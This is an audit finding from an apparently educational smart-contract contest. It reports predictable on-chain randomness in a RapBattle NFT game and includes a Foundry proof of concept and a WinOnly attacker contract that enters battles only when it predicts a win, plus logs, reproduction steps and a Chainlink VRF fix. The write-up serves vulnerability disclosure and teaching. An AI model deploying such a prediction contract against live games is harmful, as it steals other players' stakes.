Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`RapBattle::_battle` Predictable random number generation enables winning all rap battles

Summary

RapBattle determines the winner of a battle by generating a random number and comparing it to the defender rapper skill. The random number is generated using the keccak256 hash of the current block's timestamp, the block prevrandao value, and the challenger's address. This allows the challenger to predict the outcome of the battle by copying the random number generation into their own contract.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
require(credToken.balanceOf(msg.sender) >= _credBet, "RapBattle: Not enough CRED to bet");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
@> uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}

Vulnerability Details

POC
function testRNGAttack() public twoSkilledRappers {
//Mint a rapper for the attacker contract
vm.startPrank(address(winOnly));
oneShot.mintRapper();
//Stake the rapper
oneShot.approve(address(streets), 2);
streets.stake(2);
// Unstake the rapper
vm.warp(block.timestamp + 4 days + 1);
streets.unstake(2);
vm.stopPrank();
////// Attack starts ///////
// +------------------------------------------------------------------------------------------------------+
// | Scenario 1: Attacker contract detects losing conditions in the current block |
// +------------------------------------------------------------------------------------------------------+
// The attacker contract will use the same RNG formula of the RapBattle contract
// to check if it can win the battle in the current block
// Set the values needed for the defender to win
vm.roll(100); // Set the block number to 100
vm.warp(2023994169);
vm.prevrandao(0xbc0207e953720e12cf8f282a98711c31cfd872d0c0abfeb66008f98e9e4dce30);
// Defender goes on stage, bets 4 CRED
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
// Challenger (attacker contract) goes on stage, bets 4 CRED
vm.startPrank(address(winOnly));
oneShot.approve(address(rapBattle), 2);
cred.approve(address(rapBattle), 4);
winOnly.enterBattle(0, 2);
vm.stopPrank();
// The attacker contract detects that it will lose the battle in the current block
console.log(
"The attacker contract detects losing conditions in the current block, it doens't enter the battle \n -------------------------------------------------"
);
console.log("Defender balance:", cred.balanceOf(user)); // 4
console.log("Attacker contract balance:", cred.balanceOf(address(winOnly))); // 4
console.log("Defender bet in the RapBattle contract: %s \n", cred.balanceOf(address(rapBattle))); // 4
// Nothing happened, the attacker contract didn't enter the battle
// +------------------------------------------------------------------------------------------------------+
// | Scenario 2: Attacker contract detects winning conditions in the current block |
// +------------------------------------------------------------------------------------------------------+
// In a different block, the attacker contract will enter the battle with favorable conditions
// Set the values needed for the attacker to win
vm.roll(101); // Set the block number to 101
vm.warp(2023994181);
vm.prevrandao(0xaf04ed0afd980491ef65962433172ade6254511e53dbababa5680bb1b7f2b08e);
// Defender is still on stage, attacker contract goes to battle
winOnly.enterBattle(0, 2);
// The attacker contract wins the battle
assertEq(cred.balanceOf(user), 0);
assertEq(cred.balanceOf(address(winOnly)), 8);
console.log(
"The attacker contract detects winning conditions in the current block, it enters and wins the battle \n -------------------------------------------------"
);
console.log("Defender balance:", cred.balanceOf(user)); // 0
console.log("Attacker contract balance:", cred.balanceOf(address(winOnly))); // 8
console.log("Defender bet in the RapBattle contract: %s \n", cred.balanceOf(address(rapBattle))); // 0
}
// Attacker contract
contract WinOnly is IERC721Receiver {
RapBattle rapBattle;
event Win(string message);
constructor(address _rapBattle) {
rapBattle = RapBattle(_rapBattle);
}
function isBattleWon(uint256 _defenderTokenId, uint256 _challengerTokenId) internal view returns (bool) {
uint256 totalBattleSkill =
rapBattle.getRapperSkill(_defenderTokenId) + rapBattle.getRapperSkill(_challengerTokenId);
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this)))) % totalBattleSkill;
return random > rapBattle.getRapperSkill(_defenderTokenId);
}
function enterBattle(uint256 defenderTokenId, uint256 challengerTokenId) public {
uint256 bet = rapBattle.defenderBet();
if (isBattleWon(defenderTokenId, challengerTokenId)) {
rapBattle.goOnStageOrBattle(challengerTokenId, bet);
emit Win("X gon' give it to ya");
} else {
return;
}
}
// Implementing IERC721Receiver so the contract can accept ERC721 tokens
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
Logs:
The attacker contract detects losing conditions in the current block, it doens't enter the battle
-------------------------------------------------
Defender balance: 0
Attacker contract balance: 4
Defender bet in the RapBattle contract: 4
The attacker contract detects winning conditions in the current block, it enters and wins the battle
-------------------------------------------------
Defender balance: 0
Attacker contract balance: 8
Defender bet in the RapBattle contract: 0
Steps to reproduce the test
  1. Import into OneShotTest.t.sol

import {IERC721Receiver} from "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
  1. Add the following lines to OneShotTest.t.sol::RapBattleTest

RapBattle rapBattle;
OneShot oneShot;
Streets streets;
Credibility cred;
IOneShot.RapperStats stats;
+ WinOnly winOnly;
address user;
address challenger;
+ address attacker;
  1. Add the following lines to the setUp function in OneShotTest.t.sol::RapBattleTest

function setUp() public {
oneShot = new OneShot();
cred = new Credibility();
streets = new Streets(address(oneShot), address(cred));
rapBattle = new RapBattle(address(oneShot), address(cred));
+
+ //Deploy attacker contract
+ vm.prank(attacker);
+ winOnly = new WinOnly(address(rapBattle));
+
user = makeAddr("Alice");
challenger = makeAddr("Slim Shady");
+ attacker = makeAddr("DMX");
oneShot.setStreetsContract(address(streets));
cred.setStreetsContract(address(streets));
}
  1. Copy-paste the testRNGAttack function to OneShotTest.t.sol::RapBattleTest

  2. Copy-paste the WinOnly contract to OneShotTest.t.sol

  3. Run forge test --mt testRNGAttack -vv in the terminal

Impact

An attacker can predict the outcome of a battle and only enter when they are guaranteed to win. This allows the attacker to win battles without risking any balance.

Tools Used

Manual review

Recommendations

Use a more secure random number generation method to determine the winner of a battle. Consider using Chainlink VRF oracles to generate random numbers.

According to Chainlink VRF documentation:

https://docs.chain.link/vrf/v2/getting-started

"Randomness is very difficult to generate on blockchains. This is because every node on the blockchain must come to the same conclusion and form a consensus. Even though random numbers are versatile and useful in a variety of blockchain applications, they cannot be generated natively in smart contracts. The solution to this issue is Chainlink VRF, also known as Chainlink Verifiable Random Function."

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.